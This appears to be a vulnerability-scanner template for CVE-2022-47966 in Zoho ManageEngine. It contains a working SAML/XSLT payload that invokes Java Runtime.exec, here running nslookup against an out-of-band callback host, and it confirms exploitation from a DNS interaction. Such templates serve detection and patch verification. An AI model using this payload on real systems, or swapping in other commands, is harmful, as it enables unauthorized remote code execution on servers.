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id : CVE-2022-47966
info :
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name : ManageEngine - Remote Command Execution
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author : rootxharsh,iamnoooob,DhiyaneshDK,pdresearch
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severity : critical
description : |
Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections.
reference :
- https://twitter.com/horizon3attack/status/1616062915097886732?s=46&t=ER_is9G4FlEebVFQPpnM0Q
- https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/
- https://www.manageengine.com/security/advisory/CVE/cve-2022-47966.html
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- https://nvd.nist.gov/vuln/detail/CVE-2022-47966
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- http://packetstormsecurity.com/files/170882/Zoho-ManageEngine-ServiceDesk-Plus-14003-Remote-Code-Execution.html
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
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cve-id : CVE-2022-47966
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epss-score : 0.97439
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cpe : cpe:2.3:a:zohocorp:manageengine_access_manager_plus:*:*:*:*:*:*:*:*
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metadata :
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max-request : 1
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shodan-query : title:"ManageEngine"
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verified : true
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vendor : zohocorp
product : manageengine_access_manager_plus
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tags : packetstorm,cve,cve2022,rce,zoho,manageengine,oast,kev
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variables :
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cmd : 'nslookup {{interactsh-url}}'
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SAMLResponse : <?xml version="1.0" encoding="UTF-8"?> <samlp:Response ID="_eddc1e5f-8c87-4e55-8309-c6d69d6c2adf" InResponseTo="_4b05e414c4f37e41789b6ef1bdaaa9ff" IssueInstant="2023-01-16T13:56:46.514Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <Assertion ID="_b5a2e9aa-8955-4ac6-94f5-334047882600" IssueInstant="2023-01-16T13:56:46.498Z" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"> <Issuer>a</Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#_b5a2e9aa-8955-4ac6-94f5-334047882600"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"> <xsl:stylesheet version="1.0" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,"{{cmd}}")"/> <xsl:variable name="processString" select="ob:toString($process)"/> <xsl:value-of select="$processString"/> </xsl:template> </xsl:stylesheet> </ds:Transform> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>H7gKuO6t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>RbBWB6AIP8AN1wTZN6YYCKdnClFoh8GqmU2RXoyjmkr6I0AP371IS7jxSMS2zxFCdZ80kInvgVuaEt3yQmcq33/d6yGeOxZU7kF1f1D/da+oKmEoj4s6PQcvaRFNp+RfOxMECBWVTAxzQiH/OUmoL7kyZUhUwP9G8Yk0tksoV9pSEXUozSq+I5KEN4ehXVjqnIj04mF6Zx6cjPm4hciNMw1UAfANhfq7VC5zj6VaQfz7LrY4GlHoALMMqebNYkEkf2N1kDKiAEKVePSo1vHO0AF++alQRJO47c8kgzld1xy5ECvDc7uYwuDJo3KYk5hQ8NSwvana7KdlJeD62GzPlw==</ds:SignatureValue> <ds:KeyInfo/> </ds:Signature> </Assertion> </samlp:Response>
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http :
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- raw :
- |
POST /SamlResponseServlet HTTP/2
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
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SAMLResponse={{url_encode(base64(SAMLResponse))}}&RelayState=
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matchers-condition : and
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "dns"
- type : word
part : body
words :
- "Unknown error occurred while processing your request"
- type : status
status :
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- 500